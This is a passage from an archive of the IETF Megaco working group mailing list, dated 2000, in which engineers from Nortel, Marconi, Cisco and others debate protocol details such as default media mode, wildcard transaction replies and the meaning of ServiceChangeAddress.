	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11101
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 14:45:19 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB902E5@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:28:43 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17309 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:28:42 -0400
Received: from qhars002.nortel.com (47.101.112.102:54132) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB902E2@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          14:28:38 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 5 Sep 2000 19:41:05 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Tue, 5 Sep 2000 14:40:36 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <RPW7CS3S>; Tue, 5 Sep 2000 14:40:36 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D0B@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 14:40:28 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Is Media required on the Physical Termination/Default value f
              or M ODE
X-To:         "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Why not send a blank "c=" line?

-----Original Message-----
From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
Sent: Tuesday, September 05, 2000 12:23 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Is Media required on the Physical Termination/Default value f
or M ODE


I wonder if someone could help me out ... I have another issue with standard
SDP. If you are using Megaco in conjuction with H.323 you will probably want
an MGC to ask the MG to reserve resources after receiving a Terminal
Capability message. When specifing a remote descriptor you are currently
required either to give the remote MG's IP address or use the CHOOSE
character, but you don't receive the remote MGs IP address until later when
Open Logical Channel messages are exchanged and you're certainly not asking
it to choose the remote address. Is there a need for a not specified
character (such as '-' ) similar to whats being proposed for ATM ?


Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com/>  -

-----Original Message-----
From: Rosen, Brian
Sent: Tuesday, August 29, 2000 10:07 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Is Media required on the Physical Termination/Default value f
or M ODE


That's an acceptable default, which almost forces the MGC to set it to
something
else in order to get media to flow.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Tuesday, August 29, 2000 4:57 PM
To: Rosen, Brian; megaco@standards.nortelnetworks.com
Subject: RE: Is Media required on the Physical Termination/Default value f
or M ODE



Sorry, Brian, the natural default is "inactive".  It does seem that we
failed to specify the defaults in 7.1.7, even though section 6.2.4 promises
that we would.

> -----Original Message-----
> From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
<mailto:Brian.Rosen@MARCONI.COM> ]
> Sent: Tuesday, August 29, 2000 4:30 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value
> f or M ODE
>
>
> Okay, so what would you expect to happen if you audited media of
> the physical termination.  Even if there was no default, it should
> be one of the legal states.
>
> Now, suppose it's in an acceptable state, should you have to send
> a media descriptor?
>
> What the folks who implemented the MG requiring the media descriptor
> say is that "there is no mode, you haven't set it".  I can't deal
> with that, because audit has to return a value.  So it has to be
> something, and the MGC should be able to leave it, right?
>
> Now, I said I think MGCs should always send media!
>
> Brian
>
>
>
> > -----Original Message-----
> > From: Michael Thomas [ mailto:mat@cisco.com <mailto:mat@cisco.com> ]
> > Sent: Tuesday, August 29, 2000 4:25 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Is Media required on the Physical
> > Termination/Default value for
> > M ODE
> >
> >
> >
> > My general take has been that the MGC shouldn't
> > assume much about the MG. If it wants the MG to
> > do something, it should tell it. If it doesn't
> > know the MG's state, it should audit it.
> > Therefore, I think I disagree with the spec
> > requiring some set of semantics for underspecified
> > commands. What's the gain?
> >
> >               Mike
> >
> > Rosen, Brian writes:
> >  > Another issue from the event:
> >  >
> >  > Is it REQUIRED that the MGC send a media descriptor to a PHYSICAL
> >  > termination in order to get media to flow?
> >  >
> >  > There are two questions actually:
> >  > 1) Is there a default state of MODE (text is silent)
> >  > 2) Should the MG demand a media descriptor before allowing
> > media flow?
> >  >
> >  > I believe:
> >  > 1) The default for MODE is SendRecieve
> >  > 2) MGCs should always send a media descriptor, with at
> least a MODE
> >  > setting
> >  > 3) MGs should not depend on 2)
> >  >
> >  > Brian
> >  >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 14:51:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11180
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 14:51:04 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9032C@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:37:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17398 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:37:27 -0400
Received: from qhars002.nortel.com (47.101.112.102:54377) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9032B@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          14:37:26 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Tue, 5 Sep 2000 19:50:24 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Tue, 5 Sep 2000 13:46:30 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC01YH>; Tue, 5 Sep 2000 13:50:11 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <RPW7CR0K>; Tue, 5 Sep 2000 14:32:00 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D0D@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 13:50:04 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         Shalini Philip <sphilip@GLOBESPAN.NET>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I always understood the intent of "W-" to mean that the response would show
unions at the most atomic level (i.e. per-parameter).  In other words, it
was meant to show the range of values supported, not something intelligible
on a per-session basis.  I have to admit that it isn't necessarily clear
what a "parameter" is in SDP (i.e.) would all "a=fmtp:" be collapsed into
one list?

> -----Original Message-----
> From: Shalini Philip [mailto:sphilip@GLOBESPAN.NET]
> Sent: Tuesday, September 05, 2000 4:21 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Transaction Reply Context=ALL, wilcard response
>
>
> Hello Brian, Christian & list.
>
>         The example given below shows multiple Statistics
> descriptors in
> the descriptor list for a command reply. I believe,
> the common understanding is that only the digit map descriptor and the
> error descriptors are the only two descriptors
> which can be repeated. If other descriptors can also be repeated, then
> we can have multiple Mux descriptors, if the
> MG supports multiple MUX types.
> Also since it is not feasible to take the union of SDP definitions in
> local and remote descriptors, I guess we can even have
> multiple local and remote descriptors , or do we put them as multiple
> SDP definitions in the same local/remote descriptor.
>
> Thanks & Regards,
>   Shalini Philip.
>
>
> "Rosen, Brian" wrote:
>
> >  I don't think you can do a subtract with CHOOSE.
> > You could use ALL, but not choose.
> >
> > If you ask for a wildcard response, I think you get one response per
> > value found, if they are different.  Since you get statistics on
> > results, any identical statistics reports would only be
> > repeated once.  So. assuming you used ALL, I'd expect:
> > C=1{Subtract=*{Statistics{...}, Statistics{...}....}.
> > C=2{...
> > ....
> >
> > -----Original Message-----
> > From: Christian Groves
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Sent: 9/3/00 9:22 PM
> > Subject: Transaction Reply Context=ALL, wilcard response
> >
> > G'Day all,
> >
> > Perhaps someone can provide a clarification.
> >
> > In the scenario where I do a
> > SUB(Context=ALL,Termination=?,),Wildcard-response.
> >
> > Do I get in the transaction reply?
> >
> > a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
> >
> > or
> >
> > b)   multiple commands replies
> >        TransactionReply[SUB(Context=1,Termination=?),
> >                         SUB(Context=2,Termination=?)
> >                         :
> >                         SUB(Context=*,Termination=?)
> >
> > There's some ambiguity in the text.
> >
> > Cheers, Christian
> >
> > Notice to Recipient:
> > This message is intended only for the use of the Addressee
> > and may contain information that is proprietary and confidential
> > and/or privileged by law. If you received this e-mail in error,
> > any review, use, dissemination, distribution or copying of this
> > e-mail is strictly prohibited. If you have received this e-mail in
> > error, please notify us immediately of the error by return e-mail
> > and please delete this message and all attachments from your system.
> > Thank you.
>
> --
> Regards,
>
> Shalini Philip
> Globespan Inc.
> E-Mail : mailto:sphilip@globespan.net
> Web    : http://www.globespan.net
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 14:58:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11281
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 14:58:12 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9035F@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:44:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17463 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:44:37 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9035E@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:44:37
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA21983; Tue, 5 Sep 2000 14:57:35 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA17844; Tue, 5 Sep 2000 14:57:36 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH3VR>; Tue, 5 Sep 2000 14:57:37 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787F7@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 14:57:30 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The question I'm still left with is how you would actually
achieve less overhead, given that the MG has to take the
transport connection down, and the MGC has to watch that happen.

I suspect that there is MORE work for the MGC to do that,
rather than just tell the MG to create a new association.
Remember that there is virtually no state that could be saved
from the first ServiceChange, so that starting over is
pretty low cost.

The real cost is the MG sending another ServiceChange and the
MG replying -- that's dirt cheap.  The cost of keeping the
association, but changing the transport connection, seems
more work to me. I'll admit that with UDP, that cost is
close to zero also -- it's TCP (and SCTP) that has real cost.

Brian
-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
Sent: Tuesday, September 05, 2000 2:38 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Supplying only a port on a ServiceChangeAddress


As I noted in one or two previous messages, ServiceChangeMgcId has higher
overhead than ServiceChangeAddress in that it implies a new control session.
That is, the MG has to send a ServiceChange to the new address before it can
send anything else.
> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> Sent: Tuesday, September 05, 2000 11:29 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> Let's take a step back here and ask ourselves what we are
> trying to achieve:
>
> 1. We have a need to identify the entity we wish to communicate with
> 2. We have a need to communicate with that entity.
>
> This is a classical naming issue that doesn't need to become overly
> complicated. In order to get from the name in 1 to the
> address (or route) in
> 2, you need to perform name resolution in the cases where the
> name itself is
> not an address. For domain names, this name resolution is
> achieved by DNS,
> for IP-addresses, it should normally be a NOP. By having both
> ServiceChangeMGGId and ServiceChangeAddress, you are
> effectively providing
> an alternate name resolution mechanism which overrides DNS
> and allows one
> IP-address to map to another. We should not be doing that,
> and I also note
> that this was probably not the authors' intent, since
> ServiceChangeAddress
> and ServiceChangeMGCId are not both allowed in a single command.
>
> That still leaves open the question of exactly what
> ServiceChangeAddress
> then is, and I believe Brian answered that earlier with his
> two proposals.
> In a perfect world, I would prefer getting rid of
> ServiceChangeAddress, but
> we may be beyond that. Does it make sense to allow just a
> port number then ?
> Considering that we already allow for port in mId, port is
> part of the name
> and for the same reasons as we shouldn't map one IP-address
> to another, we
> shouldn't map one port to another either IMO. If the MGC (or
> MG) wants the
> other party to talk to it on another port, it simply sends
> back another
> ServiceChangeMGCId with that port number in it.
>
> -- Flemming
>
>
>
> "Rosen, Brian" wrote:
>
> > It depends on what you want to have happen.
> >
> > If you want the MG, on receipt of a reply with a
> ServiceChangeAddress,
> > to tear down it's current transport connection, create a new one,
> > and stand by for messages from the MGC, then I suppose you would be
> > correct.
> >
> > If it was TCP (and I guess SCTP), this is pretty weird, because the
> > MG established a full duplex connection, but the next message is
> > almost certainly from the MGC.  The MGC is going to have to
> watch for
> > this carefully, and not send messages until the new channel is up.
> >
> > Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> > tearing down the transport, establishing a new one, and sending
> > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > ServiceChange, at the "new" address, looks like a complete
> new start.
> >
> > Brian
> >
> > -----Original Message-----
> > From: Christian Groves
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Sent: 9/3/00 7:38 PM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> > G'Day Brian and Flemming,
> >
> > I saw that the difference between when you use
> ServiceChangeAddress and
> > ServiceChangeMid was that the ServiceChangeAddress was used
> when talking
> > to an already contacted physical MGC. The ServiceChangeMid
> was used to
> > contact a physically seperate MGC. So I don't see the need of
> > disallowing anything but the port in IP as the MGC may have
> a range of
> > addresses.
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > I thought you might say that, I've been thinking about it
> > > since I sent the message.
> > >
> > > Posing the question slightly differently, if the
> ServiceChangeAddress
> > > can do what ServiceChangeMid can do, so why have two mechanisms?
> > > The only difference would be the MGs actions.  If you used
> > > ServiceChangeAddress,
> > > the MG would not send a new ServiceChange command to the
> new address.
> > > If you used ServiceChangeMid, it would.  The end result
> would be the
> > same.
> > >
> > > We can:
> > >         Explicitly disallow ServiceChangeAddress from
> being used to
> > >                 change anything but IP Port when used with IP
> > >         Get rid of one of the two of them
> > >
> > > I favor the former, as that is easiest, is most consistent with
> > > history, and makes the most sense to me.  I'll note that what
> > > we call ServiceChangeAddress used to be "port".  It got
> > > changed when we realized "port" wouldn't make sense if it was
> > > not an IP transport.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > I think the issue is that you can have the same MGC
> have multiple
> > > > > IP addresses.  You accept the association, but change
> the address.
> > > > > Say, a pool of servers appearing to be one MGC.
> > > >
> > > > I'm not sure I fully understand what an association is then.
> > > > What's the
> > > > difference/relationship between the association address and the
> > > > ServiceChangeMgcId (which may itself contain an address or
> > indirectly
> > > > refer to a number of addresses through DNS) ?
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > To: Rosen, Brian
> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > > > is a port number
> > > > > > > that is, the IP address doesn't change, but the port does.
> > > > > > >
> > > > > > > The ABNF sez:
> > > > > > > serviceChangeAddress = ServiceChangeAddressToken
> EQUAL VALUE
> > > > > > >
> > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > >
> > > > > > > The example shows just a port number.
> > > > > >
> > > > > > Actually, I thought that's all that would be allowed in the
> > > > > > case of IP. If
> > > > > > not, how can it be within the "context of the association
> > > > > > currently being
> > > > > > negotiated", and how would it then relate to
> ServiceChangeMgcId
> > ?
> > > > > >
> > > > > > -- Flemming
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Should that be legal?  Should you have to specify the IP
> > address
> > > > > > > as x.x.x.x:p?
> > > > > > >
> > > > > > > Brian
> > > > > >
> > > > > > --
> > > > > > Flemming Andreasen
> > > > > > Cisco Systems
> > > > > >
> > > > > >
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
>
> --
> Flemming Andreasen
> Cisco Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:06:14 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11432
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:06:12 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9039A@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:52:19 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17535 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:52:19 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90399@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:52:18
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id MAA15021; Tue, 5 Sep 2000 12:05:12 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D0A@zcard00g.ca.nortel.com>
Content-Type: multipart/alternative;
              boundary="------------6E313C5E7C690CF1F81F7018"
Message-ID:  <39B544F1.2AB2D1E7@cisco.com>
Date:         Tue, 5 Sep 2000 15:09:37 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------6E313C5E7C690CF1F81F7018
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Tom-PT Taylor wrote:

>
>
> As I noted in one or two previous messages, ServiceChangeMgcId has
> higher overhead than ServiceChangeAddress in that it implies a new
> control session.  That is, the MG has to send a ServiceChange to the
> new address before it can send anything else.

Right, but is that really a problem worth all the trouble and potential
inconsistency we are seeing here ?

-- Flemming


>
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 11:29 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > Let's take a step back here and ask ourselves what we are
> > trying to achieve:
> >
> > 1. We have a need to identify the entity we wish to communicate with
>
> > 2. We have a need to communicate with that entity.
> >
> > This is a classical naming issue that doesn't need to become overly
> > complicated. In order to get from the name in 1 to the
> > address (or route) in
> > 2, you need to perform name resolution in the cases where the
> > name itself is
> > not an address. For domain names, this name resolution is
> > achieved by DNS,
> > for IP-addresses, it should normally be a NOP. By having both
> > ServiceChangeMGGId and ServiceChangeAddress, you are
> > effectively providing
> > an alternate name resolution mechanism which overrides DNS
> > and allows one
> > IP-address to map to another. We should not be doing that,
> > and I also note
> > that this was probably not the authors' intent, since
> > ServiceChangeAddress
> > and ServiceChangeMGCId are not both allowed in a single command.
> >
> > That still leaves open the question of exactly what
> > ServiceChangeAddress
> > then is, and I believe Brian answered that earlier with his
> > two proposals.
> > In a perfect world, I would prefer getting rid of
> > ServiceChangeAddress, but
> > we may be beyond that. Does it make sense to allow just a
> > port number then ?
> > Considering that we already allow for port in mId, port is
> > part of the name
> > and for the same reasons as we shouldn't map one IP-address
> > to another, we
> > shouldn't map one port to another either IMO. If the MGC (or
> > MG) wants the
> > other party to talk to it on another port, it simply sends
> > back another
> > ServiceChangeMGCId with that port number in it.
> >
> > -- Flemming
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > It depends on what you want to have happen.
> > >
> > > If you want the MG, on receipt of a reply with a
> > ServiceChangeAddress,
> > > to tear down it's current transport connection, create a new one,
> > > and stand by for messages from the MGC, then I suppose you would
> be
> > > correct.
> > >
> > > If it was TCP (and I guess SCTP), this is pretty weird, because
> the
> > > MG established a full duplex connection, but the next message is
> > > almost certainly from the MGC.  The MGC is going to have to
> > watch for
> > > this carefully, and not send messages until the new channel is up.
>
> > >
> > > Or, the MGC can just use ServiceChangeMid.  The MG will respond by
>
> > > tearing down the transport, establishing a new one, and sending
> > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > ServiceChange, at the "new" address, looks like a complete
> > new start.
> > >
> > > Brian
> > >
> > > -----Original Message-----
> > > From: Christian Groves
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Sent: 9/3/00 7:38 PM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > > G'Day Brian and Flemming,
> > >
> > > I saw that the difference between when you use
> > ServiceChangeAddress and
> > > ServiceChangeMid was that the ServiceChangeAddress was used
> > when talking
> > > to an already contacted physical MGC. The ServiceChangeMid
> > was used to
> > > contact a physically seperate MGC. So I don't see the need of
> > > disallowing anything but the port in IP as the MGC may have
> > a range of
> > > addresses.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > I thought you might say that, I've been thinking about it
> > > > since I sent the message.
> > > >
> > > > Posing the question slightly differently, if the
> > ServiceChangeAddress
> > > > can do what ServiceChangeMid can do, so why have two mechanisms?
>
> > > > The only difference would be the MGs actions.  If you used
> > > > ServiceChangeAddress,
> > > > the MG would not send a new ServiceChange command to the
> > new address.
> > > > If you used ServiceChangeMid, it would.  The end result
> > would be the
> > > same.
> > > >
> > > > We can:
> > > >         Explicitly disallow ServiceChangeAddress from
> > being used to
> > > >                 change anything but IP Port when used with IP
> > > >         Get rid of one of the two of them
> > > >
> > > > I favor the former, as that is easiest, is most consistent with
> > > > history, and makes the most sense to me.  I'll note that what
> > > > we call ServiceChangeAddress used to be "port".  It got
> > > > changed when we realized "port" wouldn't make sense if it was
> > > > not an IP transport.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > I think the issue is that you can have the same MGC
> > have multiple
> > > > > > IP addresses.  You accept the association, but change
> > the address.
> > > > > > Say, a pool of servers appearing to be one MGC.
> > > > >
> > > > > I'm not sure I fully understand what an association is then.
> > > > > What's the
> > > > > difference/relationship between the association address and
> the
> > > > > ServiceChangeMgcId (which may itself contain an address or
> > > indirectly
> > > > > refer to a number of addresses through DNS) ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > Suppose all you want to specify in a
> ServiceChangeAddress
> > > > > > > is a port number
> > > > > > > > that is, the IP address doesn't change, but the port
> does.
> > > > > > > >
> > > > > > > > The ABNF sez:
> > > > > > > > serviceChangeAddress = ServiceChangeAddressToken
> > EQUAL VALUE
> > > > > > > >
> > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > >
> > > > > > > > The example shows just a port number.
> > > > > > >
> > > > > > > Actually, I thought that's all that would be allowed in
> the
> > > > > > > case of IP. If
> > > > > > > not, how can it be within the "context of the association
> > > > > > > currently being
> > > > > > > negotiated", and how would it then relate to
> > ServiceChangeMgcId
> > > ?
> > > > > > >
> > > > > > > -- Flemming
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Should that be legal?  Should you have to specify the IP
>
> > > address
> > > > > > > > as x.x.x.x:p?
> > > > > > > >
> > > > > > > > Brian
> > > > > > >
> > > > > > > --
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > >
> > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >

--
Flemming Andreasen
Cisco Systems


--------------6E313C5E7C690CF1F81F7018
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<p>Tom-PT Taylor wrote:
<blockquote TYPE=CITE>&nbsp;
<p><font size=-1>As I noted in one or two previous messages, ServiceChangeMgcId
has higher overhead than ServiceChangeAddress in that it implies a new
control session.&nbsp; That is, the MG has to send a ServiceChange to the
new address before it can send anything else.</font></blockquote>
Right, but is that really a problem worth all the trouble and potential
inconsistency we are seeing here ?
<p>-- Flemming
<br>&nbsp;
<blockquote TYPE=CITE><font size=-1></font>&nbsp;
<p><font size=-1>> -----Original Message-----</font>
<br><font size=-1>> From: Flemming Andreasen [<a href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</a>]</font>
<br><font size=-1>> Sent: Tuesday, September 05, 2000 11:29 AM</font>
<br><font size=-1>> To: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> Let's take a step back here and ask ourselves what
we are</font>
<br><font size=-1>> trying to achieve:</font>
<br><font size=-1>></font>
<br><font size=-1>> 1. We have a need to identify the entity we wish to
communicate with</font>
<br><font size=-1>> 2. We have a need to communicate with that entity.</font>
<br><font size=-1>></font>
<br><font size=-1>> This is a classical naming issue that doesn't need
to become overly</font>
<br><font size=-1>> complicated. In order to get from the name in 1 to
the</font>
